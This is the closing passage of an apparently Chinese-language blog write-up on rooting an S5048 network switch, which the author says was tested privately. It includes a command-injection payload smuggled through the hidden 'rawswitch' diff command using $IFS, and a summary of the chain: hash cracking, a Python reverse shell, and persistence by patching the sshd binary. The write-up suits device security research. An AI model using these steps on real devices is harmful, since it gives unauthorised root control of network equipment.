open("/usr/sbin/sshd","rb").read().count("/usr/bin/imish"))
os.system("nohup /usr/sbin/sshd -6 >/dev/null 2>&1 &") # 重启 sshd(原启动参数是 -6)注入使用 diff 命令
CTC_CLI(ctc-sdk)# diff /etc/passwd $(/usr/bin/python2.7$IFS/mnt/flash/patch.py)5.5 自锁与修复
patch 到 /bin/sh (broken) 后, SSH 每次连接立即报错断开, SSH 注入通道自锁.
- 改用 telnet 通道修复
Switch# copy tftp://<serverAddr>/patch.py flash:/patch.py # 上传 v2
Switch# rawswitch
CTC_CLI(ctc-sdk)# diff /etc/passwd $(/usr/bin/python2.7$IFS/mnt/flash/patch.py)5.6 验证成果
- SSH 登录:
/mnt/flash # id
uid=0(root) gid=0(root)- Telnet 登录:
Switch# show ver
Switch Software, S5048, Version 3.0.15.7
Copyright (C) Switch. All Rights Reserved.
The current running image is flash:/boot/uImage_v3.0.15.7.bin
Switch uptime is 0 days, 5 hours, 56 minutes
Hardware Type is 4X2Q-CL
Hardware Version is 4.1
SDRAM size 1024M
Flash size 8192M
BootRom Version is v1.0.8
System serial number is ***
Current Web Version is 3.0.17既保留了交换机原生 CLI, 又能够进入底层 Linux Shell.
到这里, 整个破解过程就结束了.
总结
回顾整个漏洞分析与逃逸过程, 我们可以将整个攻击链路进行一个大致的概括:
- 从固件解包与静态分析出发, 通过暴破
/etc/passwd中的 MD5 哈希拿到设备凭据, 进而发现 SSH 认证被厂商私有 AAA 框架劫持, 只能进入受限 CLI. - 随后在隐藏的
rawswitch调试模式中找到diff命令的未过滤system()注入点, 利用$IFS绕过空格限制, 通过命令替换执行 Python 反弹 Shell 脚本, 获得 root 权限的 Linux Shell. - 接着利用
rootfs可写的特性, 通过wrapper脚本替换sshd二进制中的/usr/bin/imish字符串偏移, 并编写一键patch脚本实现重启后自动修复, 最终达到Telnet保留原厂 CLI, SSH 直达 Linux Shell 的持久化控制效果.
从固件分析到 Root Shell 的完整攻击链路
结语
- 本文仅供技术交流参考使用, 所有的测试均是在私有环境中进行, 请勿使用本文相关技术手段对公有设备进行破坏!
- 本文使用 Claude Code + DeepSeek-V4-Flash 进行协助
- 本文省略了大量试错过程, 如有错误或疏漏请直接指出, 感谢!
- 感谢您的耐心阅读.
进展追踪
2026-08-18

喜欢的话,留下你的评论吧~